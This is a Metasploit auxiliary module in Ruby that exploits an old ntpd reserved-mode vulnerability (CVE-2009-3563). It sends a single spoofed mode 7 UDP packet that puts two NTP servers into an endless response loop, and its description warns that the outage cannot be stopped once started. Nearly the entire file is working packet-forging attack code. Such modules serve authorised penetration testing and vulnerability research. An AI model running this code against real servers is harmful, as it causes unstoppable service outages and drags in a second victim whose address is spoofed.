1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Capture
8
  include Msf::Auxiliary::Scanner
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'NTP.org ntpd Reserved Mode Denial of Service',
15
        'Description' => %q{
16
          This module exploits a denial of service vulnerability
17
          within the NTP (network time protocol) demon. By sending
18
          a single packet to a vulnerable ntpd server (Victim A),
19
          spoofed from the IP address of another vulnerable ntpd server
20
          (Victim B), both victims will enter an infinite response loop.
21
          Note, unless you control the spoofed source host or the real
22
          remote host(s), you will not be able to halt the DoS condition
23
          once begun!
24
        },
25
        'Author' => [ 'todb' ],
26
        'License' => MSF_LICENSE,
27
        'References' => [
28
          [ 'BID', '37255' ],
29
          [ 'CVE', '2009-3563' ],
30
          [ 'OSVDB', '60847' ],
31
          [ 'URL', 'https://bugs.ntp.org/show_bug.cgi?id=1331' ]
32
        ],
33
        'DisclosureDate' => '2009-10-04',
34
        'Notes' => {
35
          'Stability' => [CRASH_SERVICE_DOWN],
36
          'SideEffects' => [],
37
          'Reliability' => []
38
        }
39
      )
40
    )
41

42
    register_options(
43
      [
44
        OptAddressLocal.new('LHOST', [true, 'The spoofed address of a vulnerable ntpd server' ])
45
      ]
46
    )
47
    deregister_options('FILTER', 'PCAPFILE')
48
  end
49

50
  def run_host(ip)
51
    open_pcap
52

53
    print_status("Sending a mode 7 packet to host #{ip} from #{datastore['LHOST']}")
54

55
    p = PacketFu::UDPPacket.new
56
    p.ip_saddr = datastore['LHOST']
57
    p.ip_daddr = ip
58
    p.ip_ttl = 255
59
    p.udp_src = 123
60
    p.udp_dst = 123
61
    p.payload = ["\x17", "\x97\x00\x00\x00"][rand(2)]
62
    p.recalc
63
    capture_sendto(p, ip)
64

65
    close_pcap
66
  end
67
end
68

69